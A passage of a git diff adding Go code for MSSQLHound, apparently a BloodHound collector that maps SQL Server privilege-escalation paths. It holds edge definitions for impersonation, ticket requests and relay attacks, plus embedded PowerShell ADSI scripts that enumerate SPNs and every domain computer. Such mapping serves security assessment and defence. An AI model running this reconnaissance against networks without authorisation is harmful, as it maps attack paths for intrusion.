+func (w *StreamingWriter) FilePath() string {
+ return w.filePath
+}
+
+// FileSize returns the current size of the output file
+func (w *StreamingWriter) FileSize() (int64, error) {
+ info, err := w.file.Stat()
+ if err != nil {
+ return 0, err
+ }
+ return info.Size(), nil
+}
+
+// NodeKinds defines the BloodHound node kinds for MSSQL objects
+var NodeKinds = struct {
+ Server string
+ Database string
+ Login string
+ ServerRole string
+ DatabaseUser string
+ DatabaseRole string
+ ApplicationRole string
+ User string
+ Group string
+ Computer string
+}{
+ Server: "MSSQL_Server",
+ Database: "MSSQL_Database",
+ Login: "MSSQL_Login",
+ ServerRole: "MSSQL_ServerRole",
+ DatabaseUser: "MSSQL_DatabaseUser",
+ DatabaseRole: "MSSQL_DatabaseRole",
+ ApplicationRole: "MSSQL_ApplicationRole",
+ User: "User",
+ Group: "Group",
+ Computer: "Computer",
+}
+
+// EdgeKinds defines the BloodHound edge kinds for MSSQL relationships
+var EdgeKinds = struct {
+ MemberOf string
+ IsMappedTo string
+ Contains string
+ Owns string
+ ControlServer string
+ ControlDB string
+ ControlDBRole string
+ ControlDBUser string
+ ControlLogin string
+ ControlServerRole string
+ Impersonate string
+ ImpersonateAnyLogin string
+ ImpersonateDBUser string
+ ImpersonateLogin string
+ ChangePassword string
+ AddMember string
+ Alter string
+ AlterDB string
+ AlterDBRole string
+ AlterServerRole string
+ Control string
+ ChangeOwner string
+ AlterAnyLogin string
+ AlterAnyServerRole string
+ AlterAnyRole string
+ AlterAnyDBRole string
+ AlterAnyAppRole string
+ GrantAnyPermission string
+ GrantAnyDBPermission string
+ LinkedTo string
+ ExecuteAsOwner string
+ IsTrustedBy string
+ HasDBScopedCred string
+ HasMappedCred string
+ HasProxyCred string
+ ServiceAccountFor string
+ HostFor string
+ ExecuteOnHost string
+ TakeOwnership string
+ DBTakeOwnership string
+ CanExecuteOnServer string
+ CanExecuteOnDB string
+ Connect string
+ ConnectAnyDatabase string
+ ExecuteAs string
+ HasLogin string
+ GetTGS string
+ GetAdminTGS string
+ HasSession string
+ LinkedAsAdmin string
+ CoerceAndRelayTo string
+}{
+ MemberOf: "MSSQL_MemberOf",
+ IsMappedTo: "MSSQL_IsMappedTo",
+ Contains: "MSSQL_Contains",
+ Owns: "MSSQL_Owns",
+ ControlServer: "MSSQL_ControlServer",
+ ControlDB: "MSSQL_ControlDB",
+ ControlDBRole: "MSSQL_ControlDBRole",
+ ControlDBUser: "MSSQL_ControlDBUser",
+ ControlLogin: "MSSQL_ControlLogin",
+ ControlServerRole: "MSSQL_ControlServerRole",
+ Impersonate: "MSSQL_Impersonate",
+ ImpersonateAnyLogin: "MSSQL_ImpersonateAnyLogin",
+ ImpersonateDBUser: "MSSQL_ImpersonateDBUser",
+ ImpersonateLogin: "MSSQL_ImpersonateLogin",
+ ChangePassword: "MSSQL_ChangePassword",
+ AddMember: "MSSQL_AddMember",
+ Alter: "MSSQL_Alter",
+ AlterDB: "MSSQL_AlterDB",
+ AlterDBRole: "MSSQL_AlterDBRole",
+ AlterServerRole: "MSSQL_AlterServerRole",
+ Control: "MSSQL_Control",
+ ChangeOwner: "MSSQL_ChangeOwner",
+ AlterAnyLogin: "MSSQL_AlterAnyLogin",
+ AlterAnyServerRole: "MSSQL_AlterAnyServerRole",
+ AlterAnyRole: "MSSQL_AlterAnyRole",
+ AlterAnyDBRole: "MSSQL_AlterAnyDBRole",
+ AlterAnyAppRole: "MSSQL_AlterAnyAppRole",
+ GrantAnyPermission: "MSSQL_GrantAnyPermission",
+ GrantAnyDBPermission: "MSSQL_GrantAnyDBPermission",
+ LinkedTo: "MSSQL_LinkedTo",
+ ExecuteAsOwner: "MSSQL_ExecuteAsOwner",
+ IsTrustedBy: "MSSQL_IsTrustedBy",
+ HasDBScopedCred: "MSSQL_HasDBScopedCred",
+ HasMappedCred: "MSSQL_HasMappedCred",
+ HasProxyCred: "MSSQL_HasProxyCred",
+ ServiceAccountFor: "MSSQL_ServiceAccountFor",
+ HostFor: "MSSQL_HostFor",
+ ExecuteOnHost: "MSSQL_ExecuteOnHost",
+ TakeOwnership: "MSSQL_TakeOwnership",
+ DBTakeOwnership: "MSSQL_DBTakeOwnership",
+ CanExecuteOnServer: "MSSQL_CanExecuteOnServer",
+ CanExecuteOnDB: "MSSQL_CanExecuteOnDB",
+ Connect: "MSSQL_Connect",
+ ConnectAnyDatabase: "MSSQL_ConnectAnyDatabase",
+ ExecuteAs: "MSSQL_ExecuteAs",
+ HasLogin: "MSSQL_HasLogin",
+ GetTGS: "MSSQL_GetTGS",
+ GetAdminTGS: "MSSQL_GetAdminTGS",
+ HasSession: "HasSession",
+ LinkedAsAdmin: "MSSQL_LinkedAsAdmin",
+ CoerceAndRelayTo: "CoerceAndRelayToMSSQL",
+}
+
+// Icons defines the default icons for MSSQL node types
+var Icons = map[string]*Icon{
+ NodeKinds.Server: {
+ Type: "font-awesome",
+ Name: "server",
+ Color: "#42b9f5",
+ },
+ NodeKinds.Database: {
+ Type: "font-awesome",
+ Name: "database",
+ Color: "#f54242",
+ },
+ NodeKinds.Login: {
+ Type: "font-awesome",
+ Name: "user-gear",
+ Color: "#dd42f5",
+ },
+ NodeKinds.ServerRole: {
+ Type: "font-awesome",
+ Name: "users-gear",
+ Color: "#6942f5",
+ },
+ NodeKinds.DatabaseUser: {
+ Type: "font-awesome",
+ Name: "user",
+ Color: "#f5ef42",
+ },
+ NodeKinds.DatabaseRole: {
+ Type: "font-awesome",
+ Name: "users",
+ Color: "#f5a142",
+ },
+ NodeKinds.ApplicationRole: {
+ Type: "font-awesome",
+ Name: "robot",
+ Color: "#6ff542",
+ },
+}
+
+// CopyIcon returns a copy of an icon
+func CopyIcon(icon *Icon) *Icon {
+ if icon == nil {
+ return nil
+ }
+ return &Icon{
+ Type: icon.Type,
+ Name: icon.Name,
+ Color: icon.Color,
+ }
+}
+
+// WriteToFile writes the complete output to a file (non-streaming)
+func WriteToFile(filePath string, nodes []Node, edges []Edge) error {
+ output := struct {
+ Schema string `json:"$schema"`
+ Metadata struct {
+ SourceKind string `json:"source_kind"`
+ } `json:"metadata"`
+ Graph struct {
+ Nodes []Node `json:"nodes"`
+ Edges []Edge `json:"edges"`
+ } `json:"graph"`
+ }{
+ Schema: "https://raw.githubusercontent.com/MichaelGrafnetter/EntraAuthPolicyHound/refs/heads/main/bloodhound-opengraph.schema.json",
+ }
+ output.Metadata.SourceKind = "MSSQL_Base"
+ output.Graph.Nodes = nodes
+ output.Graph.Edges = edges
+
+ file, err := os.Create(filePath)
+ if err != nil {
+ return err
+ }
+ defer file.Close()
+
+ encoder := json.NewEncoder(file)
+ encoder.SetIndent("", " ")
+ return encoder.Encode(output)
+}
+
+// ReadFromFile reads BloodHound JSON from a file
+func ReadFromFile(filePath string) ([]Node, []Edge, error) {
+ file, err := os.Open(filePath)
+ if err != nil {
+ return nil, nil, err
+ }
+ defer file.Close()
+
+ return ReadFrom(file)
+}
+
+// ReadFrom reads BloodHound JSON from a reader
+func ReadFrom(r io.Reader) ([]Node, []Edge, error) {
+ var output struct {
+ Graph struct {
+ Nodes []Node `json:"nodes"`
+ Edges []Edge `json:"edges"`
+ } `json:"graph"`
+ }
+
+ decoder := json.NewDecoder(r)
+ if err := decoder.Decode(&output); err != nil {
+ return nil, nil, err
+ }
+
+ return output.Graph.Nodes, output.Graph.Edges, nil
+}
diff --git a/internal/collector/collector.go b/internal/collector/collector.go
new file mode 100644
index 0000000..d076517
--- /dev/null
+++ b/internal/collector/collector.go
@@ -0,0 +1,5598 @@
+// Package collector orchestrates the MSSQL data collection process.
+package collector
+
+import (
+ "archive/zip"
+ "context"
+ "fmt"
+ "io"
+ "net"
+ "os"
+ "os/exec"
+ "path/filepath"
+ "runtime"
+ "sort"
+ "strconv"
+ "strings"
+ "sync"
+ "time"
+
+ "github.com/SpecterOps/MSSQLHound/internal/ad"
+ "github.com/SpecterOps/MSSQLHound/internal/bloodhound"
+ "github.com/SpecterOps/MSSQLHound/internal/mssql"
+ "github.com/SpecterOps/MSSQLHound/internal/types"
+ "github.com/SpecterOps/MSSQLHound/internal/wmi"
+)
+
+// Config holds the collector configuration
+type Config struct {
+ // Connection options
+ ServerInstance string
+ ServerListFile string
+ ServerList string
+ UserID string
+ Password string
+ Domain string
+ DomainController string
+ DCIP string // Domain controller IP address
+ DNSResolver string // DNS resolver to use for lookups
+ LDAPUser string
+ LDAPPassword string
+
+ // Output options
+ OutputFormat string
+ TempDir string
+ ZipDir string
+ FileSizeLimit string
+ Verbose bool
+
+ // Collection options
+ DomainEnumOnly bool
+ SkipLinkedServerEnum bool
+ CollectFromLinkedServers bool
+ SkipPrivateAddress bool
+ ScanAllComputers bool
+ SkipADNodeCreation bool
+ IncludeNontraversableEdges bool
+ MakeInterestingEdgesTraversable bool
+
+ // Timeouts and limits
+ LinkedServerTimeout int
+ MemoryThresholdPercent int
+ FileSizeUpdateInterval int
+
+ // Concurrency
+ Workers int // Number of concurrent workers (0 = sequential)
+}
+
+// Collector handles the data collection process
+type Collector struct {
+ config *Config
+ tempDir string
+ outputFiles []string
+ outputFilesMu sync.Mutex // Protects outputFiles
+ serversToProcess []*ServerToProcess
+ linkedServersToProcess []*ServerToProcess // Linked servers discovered during processing
+ linkedServersMu sync.Mutex // Protects linkedServersToProcess
+ serverSPNData map[string]*ServerSPNInfo // Track SPN data for each server, keyed by ObjectIdentifier
+ serverSPNDataMu sync.RWMutex // Protects serverSPNData
+ skippedChangePasswordEdges map[string]bool // Track unique skipped ChangePassword edges for CVE-2025-49758
+ skippedChangePasswordMu sync.Mutex // Protects skippedChangePasswordEdges
+}
+
+// ServerToProcess holds information about a server to be processed
+type ServerToProcess struct {
+ Hostname string // FQDN or short hostname
+ Port int // Port number (default 1433)
+ InstanceName string // Named instance (empty for default)
+ ObjectIdentifier string // SID:port or SID:instance
+ ConnectionString string // String to use for SQL connection
+ ComputerSID string // Computer SID
+ DiscoveredFrom string // Hostname of server this was discovered from (for linked servers)
+ Domain string // Domain inferred from the source server (for linked servers)
+}
+
+// ServerSPNInfo holds SPN-related data discovered from Active Directory
+type ServerSPNInfo struct {
+ SPNs []string
+ ServiceAccounts []types.ServiceAccount
+ AccountName string
+ AccountSID string
+}
+
+// New creates a new collector
+func New(config *Config) *Collector {
+ return &Collector{
+ config: config,
+ serverSPNData: make(map[string]*ServerSPNInfo),
+ }
+}
+
+// getDNSResolver returns the DNS resolver to use, applying the logic:
+// if --dc-ip is specified but --dns-resolver is not, use dc-ip as the resolver
+func (c *Collector) getDNSResolver() string {
+ if c.config.DNSResolver != "" {
+ return c.config.DNSResolver
+ }
+ if c.config.DCIP != "" {
+ return c.config.DCIP
+ }
+ return ""
+}
+
+// Run executes the collection process
+func (c *Collector) Run() error {
+ // Setup temp directory
+ if err := c.setupTempDir(); err != nil {
+ return fmt.Errorf("failed to setup temp directory: %w", err)
+ }
+ fmt.Printf("Temporary output directory: %s\n", c.tempDir)
+
+ // Build list of servers to process
+ if err := c.buildServerList(); err != nil {
+ return fmt.Errorf("failed to build server list: %w", err)
+ }
+
+ if len(c.serversToProcess) == 0 {
+ return fmt.Errorf("no servers to process")
+ }
+
+ fmt.Printf("\nProcessing %d SQL Server(s)...\n", len(c.serversToProcess))
+ c.logVerbose("Memory usage: %s", c.getMemoryUsage())
+
+ // Track all processed servers to avoid duplicates
+ processedServers := make(map[string]bool)
+
+ // Process servers (concurrently if workers > 0)
+ if c.config.Workers > 0 {
+ c.processServersConcurrently()
+ // Mark all initial servers as processed
+ for _, server := range c.serversToProcess {
+ processedServers[strings.ToLower(server.Hostname)] = true
+ }
+ } else {
+ // Sequential processing
+ for i, server := range c.serversToProcess {
+ fmt.Printf("\n[%d/%d] Processing %s...\n", i+1, len(c.serversToProcess), server.ConnectionString)
+ processedServers[strings.ToLower(server.Hostname)] = true
+
+ if err := c.processServer(server); err != nil {
+ fmt.Printf("Warning: failed to process %s: %v\n", server.ConnectionString, err)
+ // Continue with other servers
+ }
+ }
+ }
+
+ // Process linked servers recursively if enabled
+ if c.config.CollectFromLinkedServers {
+ c.processLinkedServersQueue(processedServers)
+ }
+
+ // Create zip file
+ if len(c.outputFiles) > 0 {
+ zipPath, err := c.createZipFile()
+ if err != nil {
+ return fmt.Errorf("failed to create zip file: %w", err)
+ }
+ fmt.Printf("\nOutput written to: %s\n", zipPath)
+ } else {
+ fmt.Println("\nNo data collected - no output file created")
+ }
+
+ return nil
+}
+
+// serverJob represents a server processing job
+type serverJob struct {
+ index int
+ server *ServerToProcess
+}
+
+// serverResult represents the result of processing a server
+type serverResult struct {
+ index int
+ server *ServerToProcess
+ outputFile string
+ err error
+}
+
+// processServersConcurrently processes servers using a worker pool
+func (c *Collector) processServersConcurrently() {
+ numWorkers := c.config.Workers
+ totalServers := len(c.serversToProcess)
+
+ fmt.Printf("Using %d concurrent workers\n", numWorkers)
+
+ // Create channels
+ jobs := make(chan serverJob, totalServers)
+ results := make(chan serverResult, totalServers)
+
+ // Start workers
+ var wg sync.WaitGroup
+ for w := 1; w <= numWorkers; w++ {
+ wg.Add(1)
+ go c.serverWorker(w, jobs, results, &wg)
+ }
+
+ // Send jobs
+ for i, server := range c.serversToProcess {
+ jobs <- serverJob{index: i, server: server}
+ }
+ close(jobs)
+
+ // Wait for workers in a goroutine
+ go func() {
+ wg.Wait()
+ close(results)
+ }()
+
+ // Collect results
+ successCount := 0
+ failCount := 0
+ for result := range results {
+ if result.err != nil {
+ fmt.Printf("[%d/%d] %s: FAILED - %v\n", result.index+1, totalServers, result.server.ConnectionString, result.err)
+ failCount++
+ } else {
+ fmt.Printf("[%d/%d] %s: OK\n", result.index+1, totalServers, result.server.ConnectionString)
+ successCount++
+ }
+ }
+
+ fmt.Printf("\nCompleted: %d succeeded, %d failed\n", successCount, failCount)
+}
+
+// serverWorker is a worker goroutine that processes servers from the jobs channel
+func (c *Collector) serverWorker(id int, jobs <-chan serverJob, results chan<- serverResult, wg *sync.WaitGroup) {
+ defer wg.Done()
+
+ for job := range jobs {
+ c.logVerbose("Worker %d: processing %s", id, job.server.ConnectionString)
+
+ err := c.processServer(job.server)
+
+ results <- serverResult{
+ index: job.index,
+ server: job.server,
+ err: err,
+ }
+ }
+}
+
+// addOutputFile adds an output file to the list (thread-safe)
+func (c *Collector) addOutputFile(path string) {
+ c.outputFilesMu.Lock()
+ defer c.outputFilesMu.Unlock()
+ c.outputFiles = append(c.outputFiles, path)
+}
+
+// setupTempDir creates the temporary directory for output files
+func (c *Collector) setupTempDir() error {
+ if c.config.TempDir != "" {
+ c.tempDir = c.config.TempDir
+ return nil
+ }
+
+ timestamp := time.Now().Format("20060102-150405")
+ tempPath := os.TempDir()
+ c.tempDir = filepath.Join(tempPath, fmt.Sprintf("mssql-bloodhound-%s", timestamp))
+
+ return os.MkdirAll(c.tempDir, 0755)
+}
+
+// parseServerString parses a server string (hostname, hostname:port, hostname\instance, SPN)
+// and returns a ServerToProcess entry. Does not resolve SIDs.
+func (c *Collector) parseServerString(serverStr string) *ServerToProcess {
+ server := &ServerToProcess{
+ Port: 1433, // Default port
+ }
+
+ // Handle SPN format: MSSQLSvc/hostname:portOrInstance
+ if strings.HasPrefix(strings.ToUpper(serverStr), "MSSQLSVC/") {
+ serverStr = serverStr[9:] // Remove "MSSQLSvc/"
+ }
+
+ // Handle formats: hostname, hostname:port, hostname\instance, hostname,port
+ if strings.Contains(serverStr, "\\") {
+ parts := strings.SplitN(serverStr, "\\", 2)
+ server.Hostname = parts[0]
+ if len(parts) > 1 {
+ server.InstanceName = parts[1]
+ }
+ server.ConnectionString = serverStr
+ } else if strings.Contains(serverStr, ":") {
+ parts := strings.SplitN(serverStr, ":", 2)
+ server.Hostname = parts[0]
+ if len(parts) > 1 {
+ // Check if it's a port number or instance name
+ if port, err := strconv.Atoi(parts[1]); err == nil {
+ server.Port = port
+ } else {
+ server.InstanceName = parts[1]
+ }
+ }
+ server.ConnectionString = serverStr
+ } else if strings.Contains(serverStr, ",") {
+ parts := strings.SplitN(serverStr, ",", 2)
+ server.Hostname = parts[0]
+ if len(parts) > 1 {
+ if port, err := strconv.Atoi(parts[1]); err == nil {
+ server.Port = port
+ }
+ }
+ server.ConnectionString = serverStr
+ } else {
+ server.Hostname = serverStr
+ server.ConnectionString = serverStr
+ }
+
+ return server
+}
+
+// addServerToProcess adds a server to the processing list, deduplicating by ObjectIdentifier
+func (c *Collector) addServerToProcess(server *ServerToProcess) {
+ // Build ObjectIdentifier if we have a SID
+ if server.ComputerSID != "" {
+ if server.InstanceName != "" && server.InstanceName != "MSSQLSERVER" {
+ server.ObjectIdentifier = fmt.Sprintf("%s:%s", server.ComputerSID, server.InstanceName)
+ } else {
+ server.ObjectIdentifier = fmt.Sprintf("%s:%d", server.ComputerSID, server.Port)
+ }
+ } else {
+ // Use hostname-based identifier if no SID
+ hostname := strings.ToLower(server.Hostname)
+ if server.InstanceName != "" && server.InstanceName != "MSSQLSERVER" {
+ server.ObjectIdentifier = fmt.Sprintf("%s:%s", hostname, server.InstanceName)
+ } else {
+ server.ObjectIdentifier = fmt.Sprintf("%s:%d", hostname, server.Port)
+ }
+ }
+
+ // Check for duplicates
+ for _, existing := range c.serversToProcess {
+ if existing.ObjectIdentifier == server.ObjectIdentifier {
+ // Update hostname to prefer FQDN
+ if !strings.Contains(existing.Hostname, ".") && strings.Contains(server.Hostname, ".") {
+ existing.Hostname = server.Hostname
+ }
+ return // Already exists
+ }
+ }
+
+ c.serversToProcess = append(c.serversToProcess, server)
+}
+
+// buildServerList builds the list of servers to process
+func (c *Collector) buildServerList() error {
+ // From command line argument
+ if c.config.ServerInstance != "" {
+ server := c.parseServerString(c.config.ServerInstance)
+ c.tryResolveSID(server)
+ c.addServerToProcess(server)
+ c.logVerbose("Added server from command line: %s", c.config.ServerInstance)
+ }
+
+ // From comma-separated list
+ if c.config.ServerList != "" {
+ c.logVerbose("Processing comma-separated server list")
+ servers := strings.Split(c.config.ServerList, ",")
+ count := 0
+ for _, s := range servers {
+ s = strings.TrimSpace(s)
+ if s != "" {
+ server := c.parseServerString(s)
+ c.tryResolveSID(server)
+ c.addServerToProcess(server)
+ count++
+ }
+ }
+ c.logVerbose("Added %d servers from list", count)
+ }
+
+ // From file
+ if c.config.ServerListFile != "" {
+ c.logVerbose("Processing server list file: %s", c.config.ServerListFile)
+ data, err := os.ReadFile(c.config.ServerListFile)
+ if err != nil {
+ return fmt.Errorf("failed to read server list file: %w", err)
+ }
+ lines := strings.Split(string(data), "\n")
+ count := 0
+ for _, line := range lines {
+ line = strings.TrimSpace(line)
+ if line != "" && !strings.HasPrefix(line, "#") {
+ server := c.parseServerString(line)
+ c.tryResolveSID(server)
+ c.addServerToProcess(server)
+ count++
+ }
+ }
+ c.logVerbose("Added %d servers from file", count)
+ }
+
+ // Auto-detect domain if not provided and we have servers
+ if c.config.Domain == "" && len(c.serversToProcess) > 0 {
+ // Try to extract domain from server FQDNs first
+ for _, server := range c.serversToProcess {
+ if strings.Contains(server.Hostname, ".") {
+ parts := strings.SplitN(server.Hostname, ".", 2)
+ if len(parts) == 2 && parts[1] != "" {
+ c.config.Domain = strings.ToUpper(parts[1])
+ c.logVerbose("Auto-detected domain from server FQDN: %s", c.config.Domain)
+ break
+ }
+ }
+ }
+ // Fallback to environment variables
+ if c.config.Domain == "" {
+ c.config.Domain = c.detectDomain()
+ }
+ }
+
+ // If no servers specified, enumerate SPNs from Active Directory
+ if len(c.serversToProcess) == 0 {
+ // Auto-detect domain if not provided
+ domain := c.config.Domain
+ if domain == "" {
+ domain = c.detectDomain()
+ }
+
+ if domain != "" {
+ // Update config.Domain so it's available for later resolution
+ c.config.Domain = domain
+ fmt.Printf("No servers specified, enumerating MSSQL SPNs from Active Directory (domain: %s)...\n", domain)
+ if err := c.enumerateServersFromAD(); err != nil {
+ fmt.Printf("Warning: SPN enumeration failed: %v\n", err)
+ fmt.Println("Hint: If LDAP authentication fails, you can:")
+ fmt.Println(" 1. Use --server, --server-list, or --server-list-file to specify servers manually")
+ fmt.Println(" 2. Use --ldap-user and --ldap-password to provide explicit credentials")
+ fmt.Println(" 3. Use the PowerShell version to enumerate SPNs, then provide the list to the Go version")
+ }
+ } else {
+ fmt.Println("No servers specified and could not detect domain. Use --domain to specify a domain or --server to specify a server.")
+ }
+ }
+
+ return nil
+}
+
+// tryResolveSID attempts to resolve the computer SID for a server
+func (c *Collector) tryResolveSID(server *ServerToProcess) {
+ if c.config.Domain == "" {
+ return
+ }
+
+ // Try Windows API first
+ if runtime.GOOS == "windows" {
+ sid, err := ad.ResolveComputerSIDWindows(server.Hostname, c.config.Domain)
+ if err == nil && sid != "" {
+ server.ComputerSID = sid
+ return
+ }
+ }
+
+ // Try LDAP
+ adClient := ad.NewClient(c.config.Domain, c.config.DomainController, c.config.SkipPrivateAddress, c.config.LDAPUser, c.config.LDAPPassword, c.getDNSResolver())
+ defer adClient.Close()
+
+ sid, err := adClient.ResolveComputerSID(server.Hostname)
+ if err == nil && sid != "" {
+ server.ComputerSID = sid
+ }
+}
+
+// detectDomain attempts to auto-detect the domain from environment variables or system configuration.
+// Returns the domain name in UPPERCASE to match BloodHound conventions.
+func (c *Collector) detectDomain() string {
+ // Try USERDNSDOMAIN environment variable (Windows domain-joined machines)
+ if domain := os.Getenv("USERDNSDOMAIN"); domain != "" {
+ domain = strings.ToUpper(domain)
+ c.logVerbose("Detected domain from USERDNSDOMAIN: %s", domain)
+ return domain
+ }
+
+ // Try USERDOMAIN environment variable as fallback
+ if domain := os.Getenv("USERDOMAIN"); domain != "" {
+ domain = strings.ToUpper(domain)
+ c.logVerbose("Detected domain from USERDOMAIN: %s", domain)
+ return domain
+ }
+
+ // On Linux/Unix, try to get domain from /etc/resolv.conf or similar
+ if runtime.GOOS != "windows" {
+ if data, err := os.ReadFile("/etc/resolv.conf"); err == nil {
+ lines := strings.Split(string(data), "\n")
+ for _, line := range lines {
+ line = strings.TrimSpace(line)
+ if strings.HasPrefix(line, "search ") {
+ parts := strings.Fields(line)
+ if len(parts) > 1 {
+ domain := strings.ToUpper(parts[1])
+ c.logVerbose("Detected domain from /etc/resolv.conf: %s", domain)
+ return domain
+ }
+ }
+ if strings.HasPrefix(line, "domain ") {
+ parts := strings.Fields(line)
+ if len(parts) > 1 {
+ domain := strings.ToUpper(parts[1])
+ c.logVerbose("Detected domain from /etc/resolv.conf: %s", domain)
+ return domain
+ }
+ }
+ }
+ }
+ }
+
+ return ""
+}
+
+// enumerateServersFromAD discovers MSSQL servers from Active Directory SPNs
+func (c *Collector) enumerateServersFromAD() error {
+ // First try native Go LDAP
+ c.logVerbose("Connecting to LDAP: DC=%s, Domain=%s, User=%s, DNSResolver=%s",
+ c.config.DomainController, c.config.Domain, c.config.LDAPUser, c.getDNSResolver())
+ adClient := ad.NewClient(c.config.Domain, c.config.DomainController, c.config.SkipPrivateAddress, c.config.LDAPUser, c.config.LDAPPassword, c.getDNSResolver())
+
+ spns, err := adClient.EnumerateMSSQLSPNs()
+ adClient.Close()
+
+ // If LDAP failed on Windows, try using PowerShell/ADSI as fallback
+ if err != nil && runtime.GOOS == "windows" {
+ c.logVerbose("LDAP enumeration failed, trying PowerShell/ADSI fallback...")
+ spns, err = c.enumerateSPNsViaPowerShell()
+ }
+
+ if err != nil {
+ // If ScanAllComputers is enabled, don't bail out — we can still enumerate computers
+ if c.config.ScanAllComputers {
+ fmt.Printf("Warning: SPN enumeration failed (%v), but --scan-all-computers is enabled so continuing with computer enumeration...\n", err)
+ } else {
+ return fmt.Errorf("failed to enumerate MSSQL SPNs: %w", err)
+ }
+ }
+
+ if spns != nil {
+ fmt.Printf("Found %d MSSQL SPNs\n", len(spns))
+ }
+
+ for _, spn := range spns {
+ // Create ServerToProcess from SPN
+ server := &ServerToProcess{
+ Hostname: spn.Hostname,
+ Port: 1433, // Default
+ }
+
+ // Parse port or instance from SPN
+ if spn.Port != "" {
+ if port, err := strconv.Atoi(spn.Port); err == nil {
+ server.Port = port
+ }
+ server.ConnectionString = fmt.Sprintf("%s:%s", spn.Hostname, spn.Port)
+ } else if spn.InstanceName != "" {
+ server.InstanceName = spn.InstanceName
+ server.ConnectionString = fmt.Sprintf("%s\\%s", spn.Hostname, spn.InstanceName)
+ } else {
+ server.ConnectionString = spn.Hostname
+ }
+
+ // Try to resolve computer SID early
+ c.tryResolveSID(server)
+
+ // Build ObjectIdentifier and add to processing list (handles deduplication)
+ c.addServerToProcess(server)
+
+ // Track SPN data by ObjectIdentifier for later use
+ c.serverSPNDataMu.Lock()
+ spnInfo, exists := c.serverSPNData[server.ObjectIdentifier]
+ if !exists {
+ spnInfo = &ServerSPNInfo{
+ SPNs: []string{},
+ AccountName: spn.AccountName,
+ AccountSID: spn.AccountSID,
+ }
+ c.serverSPNData[server.ObjectIdentifier] = spnInfo
+ }
+ c.serverSPNDataMu.Unlock()
+
+ // Build full SPN string and add it
+ fullSPN := fmt.Sprintf("MSSQLSvc/%s", spn.Hostname)
+ if spn.Port != "" {
+ fullSPN = fmt.Sprintf("MSSQLSvc/%s:%s", spn.Hostname, spn.Port)
+ } else if spn.InstanceName != "" {
+ fullSPN = fmt.Sprintf("MSSQLSvc/%s:%s", spn.Hostname, spn.InstanceName)
+ }
+ spnInfo.SPNs = append(spnInfo.SPNs, fullSPN)
+
+ fmt.Printf(" Found: %s (ObjectID: %s, service account: %s)\n", server.ConnectionString, server.ObjectIdentifier, spn.AccountName)
+ }
+
+ // If ScanAllComputers is enabled, also enumerate all domain computers
+ if c.config.ScanAllComputers {
+ fmt.Println("ScanAllComputers enabled, enumerating all domain computers...")
+ adClient := ad.NewClient(c.config.Domain, c.config.DomainController, c.config.SkipPrivateAddress, c.config.LDAPUser, c.config.LDAPPassword, c.getDNSResolver())
+ defer adClient.Close()
+
+ fmt.Println(" Querying AD for all computer objects (this may take a moment)...")
+ computers, err := adClient.EnumerateAllComputers()
+ if err != nil && runtime.GOOS == "windows" {
+ // Try PowerShell fallback on Windows
+ fmt.Printf("LDAP enumeration failed (%v), trying PowerShell fallback...\n", err)
+ computers, err = c.enumerateComputersViaPowerShell()
+ }
+ if err != nil {
+ fmt.Printf("Warning: failed to enumerate domain computers: %v\n", err)
+ } else {
+ fmt.Printf(" Found %d computer objects in AD\n", len(computers))
+ added := 0
+ for i, computer := range computers {
+ if (i+1)%100 == 0 || i+1 == len(computers) {
+ fmt.Printf(" Processing computer %d/%d (added so far: %d)...\n", i+1, len(computers), added)
+ }
+ server := c.parseServerString(computer)
+ // Skip per-server SID resolution here — too slow for large domains.
+ // SIDs will be resolved lazily during collection.
+ oldLen := len(c.serversToProcess)
+ c.addServerToProcess(server)
+ if len(c.serversToProcess) > oldLen {
+ added++
+ }
+ }
+ fmt.Printf("Added %d additional computers to scan\n", added)
+ }
+ }
+
+ fmt.Printf("\nUnique servers to process: %d\n", len(c.serversToProcess))
+ return nil
+}
+
+// enumerateSPNsViaPowerShell uses PowerShell/ADSI to enumerate MSSQL SPNs (Windows fallback)
+func (c *Collector) enumerateSPNsViaPowerShell() ([]types.SPN, error) {
+ fmt.Println("Using PowerShell/ADSI fallback for SPN enumeration...")
+
+ // PowerShell script to enumerate MSSQL SPNs using ADSI
+ script := `
+$searcher = [adsisearcher]"(servicePrincipalName=MSSQLSvc/*)"
+$searcher.PageSize = 1000
+$searcher.PropertiesToLoad.AddRange(@('servicePrincipalName', 'samAccountName', 'objectSid'))
+$results = $searcher.FindAll()
+foreach ($result in $results) {
+ $sid = (New-Object System.Security.Principal.SecurityIdentifier($result.Properties['objectsid'][0], 0)).Value
+ $samName = $result.Properties['samaccountname'][0]
+ foreach ($spn in $result.Properties['serviceprincipalname']) {
+ if ($spn -like 'MSSQLSvc/*') {
+ Write-Output "$spn|$samName|$sid"
+ }
+ }
+}
+`
+
+ cmd := exec.Command("powershell", "-NoProfile", "-NonInteractive", "-Command", script)
+ output, err := cmd.Output()
+ if err != nil {
+ return nil, fmt.Errorf("PowerShell SPN enumeration failed: %w", err)
+ }
+
+ var spns []types.SPN
+ lines := strings.Split(string(output), "\n")
+ for _, line := range lines {
+ line = strings.TrimSpace(line)
+ if line == "" {
+ continue
+ }
+
+ parts := strings.Split(line, "|")
+ if len(parts) < 3 {
+ continue
+ }
+
+ spnStr := parts[0]
+ accountName := parts[1]
+ accountSID := parts[2]
+
+ // Parse SPN: MSSQLSvc/hostname:port or MSSQLSvc/hostname:instancename
+ spn := c.parseSPN(spnStr, accountName, accountSID)
+ if spn != nil {
+ spns = append(spns, *spn)
+ }
+ }
+
+ return spns, nil
+}
+
+// enumerateComputersViaPowerShell uses PowerShell/ADSI to enumerate all domain computers (Windows fallback)
+func (c *Collector) enumerateComputersViaPowerShell() ([]string, error) {
+ fmt.Println("Using PowerShell/ADSI fallback for computer enumeration...")
+
+ // PowerShell script to enumerate all domain computers using ADSI
+ script := `
+$searcher = [adsisearcher]"(&(objectCategory=computer)(objectClass=computer))"
+$searcher.PageSize = 1000
+$searcher.PropertiesToLoad.AddRange(@('dNSHostName', 'name'))
+$results = $searcher.FindAll()
+foreach ($result in $results) {
+ $dns = $result.Properties['dnshostname']
+ $name = $result.Properties['name']
+ if ($dns -and $dns[0]) {
+ Write-Output $dns[0]
+ } elseif ($name -and $name[0]) {
+ Write-Output $name[0]
+ }
+}
+`
+
+ cmd := exec.Command("powershell", "-NoProfile", "-NonInteractive", "-Command", script)
+ output, err := cmd.Output()
+ if err != nil {
+ return nil, fmt.Errorf("PowerShell computer enumeration failed: %w", err)
+ }
+
+ var computers []string
+ lines := strings.Split(string(output), "\n")
+ for _, line := range lines {
+ line = strings.TrimSpace(line)
+ if line != "" {
+ computers = append(computers, line)
+ }
+ }
+
